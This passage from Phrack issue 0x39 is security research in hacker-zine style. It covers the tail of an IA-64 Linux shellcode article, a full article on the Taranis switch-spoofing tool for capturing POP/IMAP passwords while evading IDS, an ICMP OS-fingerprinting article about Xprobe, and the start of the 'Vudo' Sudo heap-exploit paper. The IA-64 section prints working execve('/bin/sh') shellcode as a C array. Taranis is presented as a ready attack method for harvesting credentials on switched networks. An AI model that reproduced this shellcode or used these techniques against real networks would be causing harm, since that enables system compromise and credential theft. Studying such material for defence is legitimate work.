As mentioned in the instruction format chapter, sometimes not all operand fields are used, or operand fields are combined. Additionally, there are some instructions which cannot be predicated.

Stops are encoded by appending ';;' to the last instruction of an instruction group. Symbolic names are used to reference procedures, as always.

‑‑> Useful Instruction List

Although you will have to check [3] in any case, here are a very few instructions you may want to check first:

+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| name | description

+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| dep | deposit an 8 bit immediate value at an arbitrary position |

| | in a register

| dep | deposit a portion of one reg into another | | mov | branch register to general register | | mov | max 22 bit immediate value to general register | | movl | max 64 bit immediate value to general register |

| adds | add short

| branch | indirect form, non‑call |

+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑> Optimizations

There are some optimization techniques that become possible on IA‑64. However because the topic of this paper is not how to write fast code, they are not explained here. Check [5] for more information about this, especially look into Modulo Scheduling. It allows you to overlap multiple iterations of a loop, which leads to very compact code.

‑‑> Coding Aspects

Stack: As on IA‑32, the stack grows to the lower memory addresses. Only local variables are stored on the stack.

System calls: Although the epc instruction is meant to be used instead, Linux on IA‑64 uses Break Instruction Faults to do a system call. According to [6], Linux will switch to epc some day, but this has not yet happened. The handler address used for issuing a system call is 0x100000. As stated above, break can only use immediate values as handler addresses. This introduces the need to construct the break instruction in the shellcode. This is done in the example code below.

Setting predicates: Do that by using the compare (cmp) instructions. Predicates might also come handy if you need to fill some space with instructions, and want to cancel them out to form NOPs.

Getting the hardware: Check [2] or [7] for experimenting with IA‑64, if you do not have one yourself.

‑‑> Example Code

<++> ia64‑linux‑execve.c !f4ed8837

/*

* ia64‑linux‑execve.c

* 128 bytes.

*

*

* NOTES:

*

* the execve system call needs:

* ‑ command string addr in r35

* ‑ args addr in r36

* ‑ env addr in r37

*

* as ia64 has fixed‑length instructions (41 bits), there are a few * instructions that have unused bits in their encoding.

* i used that at two points where i did not find nul‑free equivalents. * these are marked '+0x01', see below.

*

* it is possible to save at least one instruction by loading bundle[1] * as a number (like bundle[0]), but that would be a less interesting * solution.

*

*/

unsigned long shellcode[] = {

/* MLX

* alloc r34 = ar.pfs, 0, 3, 3, 0 // allocate vars for syscall

* movl r14 = 0x0168732f6e69622f // aka "/bin/sh",0x01

* ;; */

0x2f6e458006191005,

0x631132f1c0016873,

/* MLX

* xor r37 = r37, r37 // NULL

* movl r17 = 0x48f017994897c001 // bundle[0]

* ;; */

0x9948a00f4a952805,

0x6602e0122048f017,

/* MII

* adds r15 = 0x1094, r37 // unfinished bundle[1]

* or r22 = 0x08, r37 // part 1 of bundle[1]

* dep r12 = r37, r12, 0, 8 // align stack ptr

* ;; */

0x416021214a507801,

0x4fdc625180405c94,

/* MII

* adds r35 = ‑40, r12 // circling mem addr 1, shellstr addr

* adds r36 = ‑32, r12 // circling mem addr 2, args[0] addr

* dep r15 = r22, r15, 56, 8 // patch bundle[1] (part 1)

* ;; */

0x0240233f19611801,

0x41dc7961e0467e33,

/* MII

* st8 [r36] = r35, 16 // args[0] = shellstring addr

* adds r19 = ‑16, r12 // prepare branch addr: bundle[0] addr

* or r23 = 0x42, r37 // part 2 of bundle[1]

* ;; */

0x81301598488c8001,

0x80b92c22e0467e33,

/* MII

* st8 [r36] = r17, 8 // store bundle[0]

* dep r14 = r37, r14, 56, 8 // fix shellstring

* dep r15 = r23, r15, 16, 8 // patch bundle[1] (part 2)

* ;; */

0x28e0159848444001,

0x4bdc7971e020ee39,

/* MMI

* st8 [r35] = r14, 25 // store shellstring

* cmp.eq p2, p8 = r37, r37 // prepare predicate for final branch.

* mov b6 = r19 // (+0x01) setup branch reg

* ;; */

0x282015984638c801,

0x07010930c0701095,

/* MIB

* st8 [r36] = r15, ‑16 // store bundle[1]

* adds r35 = ‑25, r35 // correct string addr

* (p2) br.cond.spnt.few b6 // (+0x01) branch to constr. bundle

* ;; */

0x3a301799483f8011,

0x0180016001467e8f,

};

/*

* the constructed bundle

*

* MII

* st8 [r36] = r37, ‑8 // args[1] = NULL

* adds r15 = 1033, r37 // syscall number

* break.i 0x100000

* ;;

*

* encoding is:

* bundle[0] = 0x48f017994897c001

* bundle[1] = 0x0800000000421094

*/

<‑‑>

‑‑> References

[1] HP IA‑64 instruction set architecture guide http://devresource.hp.com/devresource/Docs/Refs/IA64ISA/

[2] HP IA‑64 Linux Simulator and Native User Environment http://www.software.hp.com/products/LIA64/

[3] Intel IA‑64 Manuals http://developer.intel.com/design/ia‑64/manuals/

[4] Sverre Jarp: IA‑64 tutorial http://cern.ch/sverre/IA64_1.pdf

[5] Sverre Jarp: IA‑64 performance‑oriented programming http://sverre.home.cern.ch/sverre/IA‑64_Programming.html

[6] A presentation about the Linux port to IA‑64 http://linuxia64.org/logos/IA64linuxkernel.PDF

[7] Compaq Testdrive Program http://www.testdrive.compaq.com

The register list is mostly copied from [4]

‑‑> Greetings

palmers, skyper and scut of team teso

honx and homek of dudelab

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Taranis read your e-mail

==Phrack Inc.==

Volume 0x0b, Issue 0x39, Phile #0x06 of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ T A R A N I S ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Jonathan Wilkins ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

Taranis

‑‑‑‑‑‑‑

Code by Jonathan Wilkins <jwilkins@bitland.net>

Original concept by Jesse <jesse@bitland.net>.

Thanks to Skyper <skyper@segfault.net> for his assistance

URL: http://www.bitland.net/taranis

Summary

‑‑‑‑‑‑‑

Taranis redirects traffic on switch hardware by sending spoofed ethernet traffic. This is not the same as an ARP poisoning attack as it affects only the switch, and doesn't rely on ARP packets. Plus, it is virtually invisible because the packets it sends aren't seen on any other port on the switch. Evading detection by an IDS that may be listening on a monitoring port is as simple as changing the type of packet that is sent by the packet spoofing thread.

How it works

‑‑‑‑‑‑‑‑‑‑‑‑

First, some history. Back in the old days, we had 10base5, or thick Ethernet. The 10 prefix meant that it was 10 Megabit and the 5 postfix indicated that the maximum cable length was 500 meters. It used a coaxial cable, much like cable TV uses. (The difference is in the maximum impedence of the cable, TV cable is 75 ohm, ethernet is 50 ohm) Coaxial cable consists of a central wire which is surrounded by a layer of insulator, which is enclosed in a shield made of thin stranded wire. This is all encased in another thinner insulating layer. A thick Ethernet network had a shared backplane and then a series of trancievers that plugged into it. If the shared portion of the cable broke, or rodents happened to chew through it, then the entire network went down. Since the cable was usually strung throughout the ceiling and walls it was quite inconvenient to fix. Long runs of cable had to be augmented by a repeater, which was just a little device that boosted the signal strength.

A 10base5 network looked something like this:

Shared backplane

X‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑X (+ ‑ Tranciever)

| | | | | | X ‑ Terminator)

| | | | | |

Host Host Host Host Host Host

A B C D E F

This was replaced by thin Ethernet (10base2, which means that it was 10Mbit and had a maximum cable length of 200 meters)), which was based on a shared cable but didn't require trancievers and so was less expensive. (10base2 was also known as cheapernet) It was also vulnerable to the rodent attack.

10base2 looked something like this:

X‑‑‑‑‑‑.‑‑‑‑‑‑.‑‑‑‑‑‑.‑‑‑‑‑‑.‑‑‑‑‑‑.‑‑‑‑‑X

Host Host Host Host Host

A B C D E

(X ‑ terminator which is just a 50 ohm resistor) (. ‑ BNC Connector, T shaped piece of metal that connected two pieces of cable with a computer)

Then came 10baseT, or Twisted Pair Ethernet. This was based around a star topology. The reason for the name is clear when you see a diagram.

Host A Host B Host C

| | |

\________ | ________/

\ | /

Switch or Hub

/ | \

/~~~~~~~~ | ~~~~~~~~\

Host D Host E Host F

Now if rats happened to chew through a network cable, only one computer would lose network connectivity. If a giant rat happened to eat the network hub, it was easy to crimp new ends on the twisted pair cable and buy a new hub.

An Ethernet Frame header looks like this:

| | | | | | | |

0 6 11 13 Bytes 0‑5 are the Destination Address

Bytes 6‑11 are the Source Address

Bytes 12‑13 is the Type Code (IP is 0x0800)

All of the discussed ethernet types (10base5, 10base2 and 10baseT) are based around a shared medium. This means that packets are broadcast to every connected machine. It also means that when one device is sending, no other devices can send.

To increase bandwidth, switches were created. Ethernet switches only forward packets to the port (a port is the hole you plug the cable into) that the packet is destined for. (This means all ports in the case of a broadcast packet) This meant that more total packets could be sent through the network if a switch were used than if a hub was used.

Switches and hubs are built to allow uplinking (when you connect another switch or hub into a port instead of just a single computer). In the case of a hub, this just means that there are more machines sharing the available bandwidth. In the case of a switch it means that the internal traffic from one hub won't be seen on other ports. It also means that multiple ethernet addresses can be on each port and that the switch must contain a list of all of the ethernet addresses that are on a given physical port and only forward traffic to the port that the destination host is on. It would be silly to require a network administrator to track down the ethernet addresses for each of the connected machines and enter them manually to build this list, so switches generate this list automatically by watching network traffic.

As long as there is a way for this to be configured automatically, the switch is probably vulnerable to this attack.

When run, Taranis will start sending packets with the mail server's ethernet address as the source ethernet address and the attacking machine's real ethernet address as the destination address. When the switch sees this packet it will update it's internal table of port‑>ethernet address mappings. (This is called the CAM table. For more information on how the CAM table is updated check, http://routergod.com/gilliananderson/

For the record, CAM apparently stands for Content Addressable Memory, an extremely generic term) The switch will not forward the packet to any other ports as the destination ethernet address is set to an ethernet address already associated with the current port.

This internal table looks something like this:

Port | Ethernet Addresses

‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Port 1 | 01:00:af:34:53:62 (Single host) Port 2 | 01:e4:5f:2a:63:35 00:c1:24:ee:62:66 ... (Hub/Switch) Port 3 | 11:af:5a:69:08:63 00:17:72:e1:72:70 ... (Hub/Switch) Port 4 | 00:14:62:74:23:5a (Single host) ...

As far as the switch is concerned, it has a hub connected on that port, and it just saw a packet from one host on that hub to another host on the same hub. It doesn't need to forward it anywhere.

Now that we are seeing traffic destined for the mail server, what can we do with it? The initial idea was to perform a man in the middle attack, but this proved to be more difficult than anticipated. (see the comments for switchtest at the end of this file) Instead taranis spoofs enough of a pop or imap session to get a client to authenticate by sending it's username and password.

Taranis will store this authentication information to a logfile. To see everything displayed in a nicer format run:

cat taranis.log | sort | uniq

Configuration

‑‑‑‑‑‑‑‑‑‑‑‑‑

Taranis was developed under FreeBSD 4.3. It also builds under OpenBSD and Linux. If you port it to another platform, send me diff's and I'll integrate them into the release.

You will require a patch to your kernel to allow you to spoof ethernet source addresses under FreeBSD and OpenBSD. LibNet has one for OpenBSD and for FreeBSD < 4.0. I have updated this patch for FreeBSD 4+ and it is included in this archive as if_ethersubr.c.patch. You can use it as follows.. ‑ su root

‑ cd /usr/src/sys/net

‑ patch < if_ethersubr.c.patch

and then rebuild your kernel

Switchtest

‑‑‑‑‑‑‑‑‑‑

Switchtest was written during the development of Taranis. It is included in case someone wants to test their switches and ip stacks. We weren't able to find a switch that defaulted to hub mode when confronted with lots of packets with random source ethernet addresses. Maybe someone else will.

It also tries a man in the middle attack. This shouldn't work as it is based on resending traffic to ethernet broadcast or ethernet multicast addresses. If a target IP stack is vulnerable, I'd like to hear about it.

We had discussed the possibility of a generalized man in the middle attack. It is postulated that you could do a decent job of the attack by redirecting traffic for a while, and queueing the packets, then resetting the switch (with an arp request) and then sending the queued packets, then redirecting again.

This will probably cause a lot of packet drops, but tcp applications may be able to continue in the face of this..

FAQ

‑‑‑

Q: Where does the name come from?

A: Taranis was the name of a god in ancient Gaul. Whenever I can't think of a name I randomly grab something from www.pantheon.org.

Q: Why do I keep getting PCAP open errors?

A: You're not root or your kernel doesn't have a pcap compatible way of capturing packets. Perhaps your network is not ethernet.

Q: Why am I not seeing packets from the target machine?

A: There are several possibilities:

1. Your system is not spoofing ethernet traffic. Check the output with ethereal (http://ethereal.zing.org/) or tcpdump (www.tcpdump.org)

If you are using tcpdump use the ‑e flag to display the link level addresses

2. If the system you are on is spoofing the ethernet frames correctly it is possible that the switch has a delay before it will switch the port associated with an ethernet address. Some switches also have a lock in mode, where they will not accept any changes to their CAM table.

Q: Did [insert network type here] really look like that?

A: No. But I have no ascii graphics skills. When I get a chance I'll track down some real pictures and post them at: www.bitland.net/taranis/diagrams.html

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ICMP based OS fingerprinting

==Phrack Inc.==

Volume 0x0b, Issue 0x39, Phile #0x07 of 0x12

|=‑‑‑=[ ICMP based remote OS TCP/IP stack fingerprinting techniques ]=‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Ofir Arkin & Fyodor Yarochkin ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ICMP based fingerprinting approach]‑‑

TCP based remote OS fingerprinting is quite old(*1) and well‑known these days, here we would like to introduce an alternative method to determine an OS remotely based on ICMP responses which are received from the host. Certain accuracy level has been achieved with different platforms, which, with some systems or or classes of platforms (i.g. Win*), is significally more precise than demonstrated with TCP based fingerprinting methods.

As mentioned above TCP based method, ICMP fingerprinting utilizes several tests to perform remote OS TCP/IP stack probe, but unlike TCP fingerprinting, a number of tests required to identify an OS could vary from 1 to 4 (as of current development stage).

ICMP fingerprinting method is based on certain discoveries on differencies of ICMP replies from various operating systems (mostly due to incorrect, or inconsistant implementation), which were found by Ofir Arkin during his "ICMP Usage in Scanning" research project. Later these discoveries were summarised into a logical desicions tree which Ofir entitled "X project" and practically implemented in 'Xprobe' tool.

‑‑[Information/Noise ratio with ICMP fingerprints]‑‑

As it's been noted, the number of datagrams we need to send and receive in order to remotely fingerprint a targeted machine with ICMP based probes is small. Very small. In fact we can send one datagram and receive one reply and this will help us identify up to eight different operating systems (or classes of operating systems). The maximum datagrams which our tool will use at the current stage of development, is four. This is the same number of replies we will need to analyse. This makes ICMP based fingerprinting very time‑efficient.

ICMP based probes could be crafted to be very stealthy. As on the moment, no maliformed/broken/corrupted datagrams are used to identify remote OS type, unlike the common fingerprinting methods. Current core analysis targets validation of received ICMP responses on valid packets, rather than crafting invalid packets themselves. Heaps of such packets appear in an average network on daily basis and very few IDS systems are tuned to detect such traffic (and those which are, presumably are very noisy and badly configured).

‑‑[Why it still works?]‑‑

Inheritable mess among various TCP/IP stack implementations with ICMP handling implementations which implement different RFC standards (original RFC 792, additional RFC 1122, etc), partial or incomplete ICMP support (various ICMP requests are not supported everywhere), low significance of ICMP Error messages data (who verifies all the fields of the original datagram?!), mistakes and misunderstanding in ICMP protocol implementation made our method viable.

‑‑[What do we fingerprint:]‑‑

Several OS‑specific differencies are being utilized in ICMP based fingerprinting to identify remote operating system type:

IP fields of an 'offending' datagram to be examined:

* IP total length field

Some operating systems (i.g. BSD family) will add 20 bytes (sizeof(ipheader)) to the original IP total length field (which occures due to internal processing mistakes of the datagram, please note when the same packet is read from SOCK_RAW the same behaviour is seen: returned packet ip_len fiend is off by 20 bytes).

Some other operating systems will decrease 20 bytes from the original IP total lenth field value of the offending packet.

Third group of systems will echo this field correctly.

* IP ID

some systems are seen not to echo this field correctly. (bit order of the field is changed).

* 3 bits flags and offset

some systems are seen not to echo this field correctly. (bit order of the field is changed).

* IP header checksum

Some operating systems will miscalculate this field, others just zero it out. Third group of the systems echoes this field correctly.

* UDP header checksum (in case of UDP datagram)

The same thing could happen with UDP checksum header.

IP headers of responded ICMP packet:

* Precedence bits

Each IP Datagram has an 8‑bit field called the 'TOS Byte', which represents the IP support for prioritization and Type‑of‑Service handling.

The 'TOS Byte' consists of three fields.

The 'Precedence field'\cite{rfc791}, which is 3‑bit long, is intended to prioritize the IP Datagram. It has eight levels of prioritization.

Higher priority traffic should be sent before lower priority traffic.

The second field, 4 bits long, is the 'Type‑of‑Service' field. It is intended to describe how the network should make tradeoffs between throughput, delay, reliability, and cost in routing an IP Datagram.

The last field, the 'MBZ' (must be zero), is unused and must be zero. Routers and hosts ignore this last field. This field is 1 bit long. The TOS Bits and MBZ fields are being replaced by the DiffServ mechanism for QoS.

RFC 1812 Requires following for IP Version 4 Routers:

"4.3.2.5 TOS and Precedence

ICMP Source Quench error messages, if sent at all, MUST have their IP Precedence field set to the same value as the IP Precedence field in the packet that provoked the sending of the ICMP Source Quench message. All other ICMP error messages (Destination Unreachable, Redirect, Time Exceeded, and Parameter Problem) SHOULD have their precedence value set to 6 (INTERNETWORK CONTROL) or 7 (NETWORK CONTROL). The IP Precedence value for these error messages MAY be settable".

Linux Kernel 2.0.x, 2.2.x, 2.4.x will act as routers and will set their Precedence bits field value to 0xc0 with ICMP error messages. Networking devices that will act the same will be Cisco routers based on IOS 11.x‑12.x and Foundry Networks switches.

* DF bits echoing

Some TCP/IP stacks will echo DF bit with ICMP Error datagrams, others (like linux) will copy the whole octet completely, zeroing certain bits, others will ignore this field and set their own.

* IP ID filend (linux 2.4.0 ‑ 2.4.4 kernels)

Linux machines based on Kernel 2.4.0‑2.4.4 will set the IP Identification field value with their ICMP query request and reply messages to a value of zero.

This was later fixed with Linux Kernels 2.4.5 and up.

* IP ttl field (ttl distance to the target has to be precalculated to guarantee accuracy).

"The sender sets the time to live field to a value that represents the maximum time the datagram is allowed to travel on the Internet".

The field value is decreased at each point that the IP header is being processed. RFC 791 states that this field decreasement reflects the time spent processing the datagram. The field value is measured in units of seconds. The RFC also states that the maximum time to live value can be set to 255 seconds, which equals to 4.25 minutes. The datagram must be discarded if this field value equals zero before reaching its destination.

Relating to this field as a measure to assess time is a bit misleading. Some routers may process the datagram faster than a second, and some may process the datagram longer than a second.

The real intention is to have an upper bound to the datagram lifetime, so infinite loops of undelivered datagrams will not jam the Internet.

Having a bound to the datagram lifetime help us to prevent old duplicates to arrive after a certain time elapsed. So when we retransmit a piece of information which was not previously delivered we can be assured that the older duplicate is already discarded and will not interfere with the process.

The IP TTL field value with ICMP has two separate values, one for ICMP query messages and one for ICMP query replies.

The IP TTL field value helps us identify certain operating systems and groups of operating systems. It also provides us with the simplest means to add another check criterion when we are querying other host(s) or listening to traffic (sniffing).

TTL‑based fingeprinting requires a TTL distance to the done to be precalculated in advance (unless a fingerprinting of a local network based system is performed system).

The ICMP Error messages will use values used by ICMP query request messages.

A good statistics of ttl dependancy on OS type has been gathered at: http://www.switch.ch/docs/ttl_default.html

(Research paper on default ttl values)

* TOS field

RFC 1349 defines the usage of the Type‑of‑Service field with the ICMP messages. It distinguishes between ICMP error messages (Destination Unreachable, Source Quench, Redirect, Time Exceeded, and Parameter Problem), ICMP query messages (Echo, Router Solicitation, Timestamp, Information request, Address Mask request) and ICMP reply messages (Echo reply, Router Advertisement, Timestamp reply, Information reply, Address Mask reply).

Simple rules are defined:

* An ICMP error message is always sent with the default TOS (0x0000)

* An ICMP request message may be sent with any value in the TOS field. "A mechanism to allow the user to specify the TOS value to be used would be a useful feature in many applications that generate ICMP request messages".

The RFC further specify that although ICMP request messages are normally sent with the default TOS, there are sometimes good reasons why they would be sent with some other TOS value.

* An ICMP reply message is sent with the same value in the TOS field as was used in the corresponding ICMP request message.

Some operating systems will ignore RFC 1349 when sending ICMP echo reply messages, and will not send the same value in the TOS field as was used in the corresponding ICMP request message.

ICMP headers of responded ICMP packet:

* ICMP Error Message Quoting Size:

All ICMP error messages consist of an IP header, an ICMP header and certain amount of data of the original datagram, which triggered the error (aka offending datagram).

According to RFC 792 only 64 bits (8 octets) of original datagram are supposed to be included in the ICMP error message. However RFC 1122 (issued later) recommends up to 576 octets to be quoted.

Most of "older" TCP stack implementations will include 8 octets into ICMP Errror message. Linux/HPUX 11.x, Solaris, MacOS and others will include more.

Noticiably interesting is the fact that Solaris engineers probably couldn't not read RFC properly (since instead of 64 bits Solaris 2.x includes 64 octets (512 bits) of the original datagram.

* ICMP error Message echoing integrity

Another artifact which has been noticed is that some stack implementations, when sending back an ICMP error message, may alter the offending packet's IP header and the underlying protocol data, which is echoed back with the ICMP error message.

Since mistakes, made by TCP/IP stack programmers are different and specific to an operating system, an analysis of these mistakes could give a potential attacker a a possibilty to make assumptions about the target operating system type.

Additional tweaks and twists:

* Using difererent from zero code fields in ICMP echo requests

When an ICMP code field value different than zero (0) is sent with an ICMP Echo request message (type 8), operating systems that will answer our query with an ICMP Echo reply message that are based on one of the Microsoft based operating systems will send back an ICMP code field value of zero with their ICMP Echo Reply. Other operating systems (and networking devices) will echo back the ICMP code field value we were using with the ICMP Echo Request.

The Microsoft based operating systems acts in contrast to RFC 792 guidelines which instruct the answering operating systems to only change the ICMP type to Echo reply (type 0), recalculate the checksums and send the ICMP Echo reply away.

* Using DF bit echoing with ICMP query messages

As in case of ICMP Error messages, some tcp stacks will respond these queries, while the others: will not.

* Other ICMP messages:

* ICMP timestamp request

* ICMP Information request

* ICMP Address mask request

Some TCP/IP stacks support these messages and respond to some of these requests.

‑‑[Xprobe implementation]‑‑

Currently Xprobe deploys hardcoded logic tree, developed by Ofir Arkin in 'Project X'. Initially a UDP datagram is being sent to a closed port in order to trigger ICMP Error message: ICMP unreachable/port unreach. (this sets up a limitation of having at least one port not filtered on target system with no service running, generically speaking other methods of triggering ICMP unreach packet could be used, this will be discussed further). Moreover, a few tests (icmp unreach content, DF bits, TOS ...) could be combined within a single query, since they do not affect results of each other.

Upon the receipt of ICMP unreachable datagram, contents of the received datagram is examined and a diagnostics decision is made, if any further tests are required, according to the logic tree, further queries are sent.

‑‑[ Logic tree]‑‑‑

Quickly recapping the logic tree organization:

Initially all TCP/IP stack implementations are split into 2 groups, those which echo precedence bits back, and those which do not. Those which do echo precendence bits (linux 2.0.x, 2.2.x, 2.4.x, cisco IOS 11.x‑12.x, Extreme Network Switches etc), being differentiated further based on ICMP error quoting size. (Linux sticks with RFC 1122 here and echoes up to 576 octets, while others in this subgroup echo only 64 bits (8 octets)). Further echo integrity checks are used to differentiate cisco routers from Extreme Network switches.

Time‑to‑live and IP ID fields of ICMP echo reply are being used to recognize version of linux kernel.

The same approach is being used to recognize other TCP/IP stacks. Data echoing validation (amounts of octets of original datagram echoed, checksum validation, etc). If additional information is needed to differ two 'similar' IP stacks, additional query is being sent. (please refer to the diagram at http://www.sys‑security.com/html/projects/X.html for more detailed

explanation/graphical representation of the logic tree).

One of the serious problems with the logic tree, is that adding new operating system types to it becomes extremely painful. At times part of the whole logic tree has to be reworked to 'fit' a single description. Therefore a singature based fingerprinting method took our closer attention.

‑‑[Sinature based approach]‑‑

Singature based approach is what we are currently focusing on and which we believe will be further, more stable, reliable and flexible method of remote ICMP based fingerprints.

Signature‑based method is currently based on five different tests, which optionally could be included in each operating system fingerprint. Initally the systems with lesser amount of tests are being examined (normally starting with ICMP unreach test).

If no single OS stack found matching received signature, those stacks which match a part, being grouped again, and another test (based on lesser amounts of tests issued principle) is choosen and executed. This verification is repeated until an OS stack, completely matching the signature is found, or we run out of tests.

Currently following tests are being deployed:

* ICMP unreachable test (udp closed port based, host unreachable, network unreachable (for systems which are believed to be gateways) * ICMP echo request/reply test

* ICMP timestamp request

* ICMP information request

* ICMP address mask request

‑‑[future implementations/development]‑‑

Following issues are planned to be deployed (we always welcome discussions/suggestions though):

* Fingerprints database (currently being tested)

* Dynamic, AI based logic (long‑term project :))

* Tests would heavily dependent on network topology (pre‑test network mapping will take place).

* Path‑to‑target test (to calculate hops distance to the target) filtering devices probes.

* Future implementations will be using packets with actual application data to dismiss chances of being detected. * other network mapping capabilities shall be included ( network role identification, search for closed UDP port, reachability tests, etc).

‑‑[code for kids]‑‑

Currently implemented code and further documentation is available at following locations:

http://www.sys‑security.com/html/projects/X.html

http://xprobe.sourceforge.net

http://www.notlsd.net/xprobe/

Ofir Arkin <ofir@sys‑security.com>

Fyodor Yarochkin <fygrave@tigerteam.net>

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Vudo malloc tricks

==Phrack Inc.==

Volume 0x0b, Issue 0x39, Phile #0x08 of 0x12

‑‑=[ Disclaimer ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In this issue of Phrack, there are two similar articles about malloc based exploitation techniques. The first one explains in detail the GNU C Library implementation of the malloc interface and how it can be abused to exploit buffer overflows in malloc space. The second article is a more hands‑on approach to introduce you to the idea of malloc overflows. It covers the System V implementation and the GNU C Library implementation. If you are not sure about the topic, it may be a better choice to start with it to get an idea of the subject. However, if you are serious about learning this technique, there is no way around the article by MaXX.

‑‑=[ Enjoy ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=[ Vudo ‑ An object superstitiously believed to embody magical powers ]=‑|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑=[ Michel "MaXX" Kaempf <maxx@synnergy.net> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Copyright (C) 2001 Synnergy Networks ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

The present paper could probably have been entitled "Smashing The Heap For Fun And Profit"... indeed, the memory allocator used by the GNU C Library (Doug Lea's Malloc) and the associated heap corruption techniques are presented. However, it was entitled "Vudo ‑ An object superstitiously believed to embody magical powers" since a recent Sudo vulnerability and the associated Vudo exploit are presented as well.

‑‑[ Contents ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 ‑ Introduction

2 ‑ The "potential security problem"

2.1 ‑ A real problem

2.1.1 ‑ The vulnerable function

2.1.2 ‑ The segmentation violation

2.2 ‑ An unreal exploit

2.3 ‑ Corrupting the heap

2.4 ‑ Temporary conclusion

3 ‑ Doug Lea's Malloc

3.1 ‑ A memory allocator

3.1.1 ‑ Goals

3.1.2 ‑ Algorithms

3.1.2.1 ‑ Boundary tags

3.1.2.2 ‑ Binning

3.1.2.3 ‑ Locality preservation

3.1.2.4 ‑ Wilderness preservation

3.1.2.5 ‑ Memory mapping

3.2 ‑ Chunks of memory

3.2.1 ‑ Synopsis of public routines

3.2.2 ‑ Vital statistics

3.2.3 ‑ Available chunks

3.3 ‑ Boundary tags

3.3.1 ‑ Structure

3.3.2 ‑ Size of a chunk

3.3.3 ‑ prev_size field

3.3.4 ‑ size field

3.4 ‑ Bins

3.4.1 ‑ Indexing into bins

3.4.2 ‑ Linking chunks in bin lists

3.5 ‑ Main public routines

3.5.1 ‑ The malloc(3) algorithm

3.5.2 ‑ The free(3) algorithm

3.5.3 ‑ The realloc(3) algorithm

3.6 ‑ Execution of arbitrary code

3.6.1 ‑ The unlink() technique

3.6.1.1 ‑ Concept

3.6.1.2 ‑ Proof of concept

3.6.2 ‑ The frontlink() technique

3.6.2.1 ‑ Concept

3.6.2.2 ‑ Proof of concept

4 ‑ Exploiting the Sudo vulnerability

4.1 ‑ The theory

4.2 ‑ The practice

5 ‑ Acknowledgements

6 ‑ Outroduction

‑‑[ 1 ‑ Introduction ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sudo (superuser do) allows a system administrator to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while logging the commands and arguments.

‑‑ http://www.courtesan.com/sudo/index.html

On February 19, 2001, Sudo version 1.6.3p6 was released: "This fixes a potential security problem. So far, the bug does not appear to be exploitable." Despite the comments sent to various security mailing lists after the announce of the new Sudo version, the bug is not a buffer overflow and the bug does not damage the stack.

But the bug is exploitable: even a single byte located somewhere in the heap, erroneously overwritten by a NUL byte before a call to syslog(3) and immediately restored after the syslog(3) call, may actually lead to execution of arbitrary code as root. Kick off your shoes, put your feet up, lean back and just enjoy the... voodoo.

The present paper focuses on Linux/Intel systems and:

‑ details the aforementioned bug and explains why a precise knowledge of how malloc works internally is needed in order to exploit it;

‑ describes the functioning of the memory allocator used by the GNU C Library (Doug Lea's Malloc), from the attacker's point of view;

‑ applies this information to the Sudo bug, and presents a working exploit for Red Hat Linux/Intel 6.2 (Zoot) sudo‑1.6.1‑1.

‑‑[ 2 ‑ The "potential security problem" ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑[ 2.1 ‑ A real problem ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

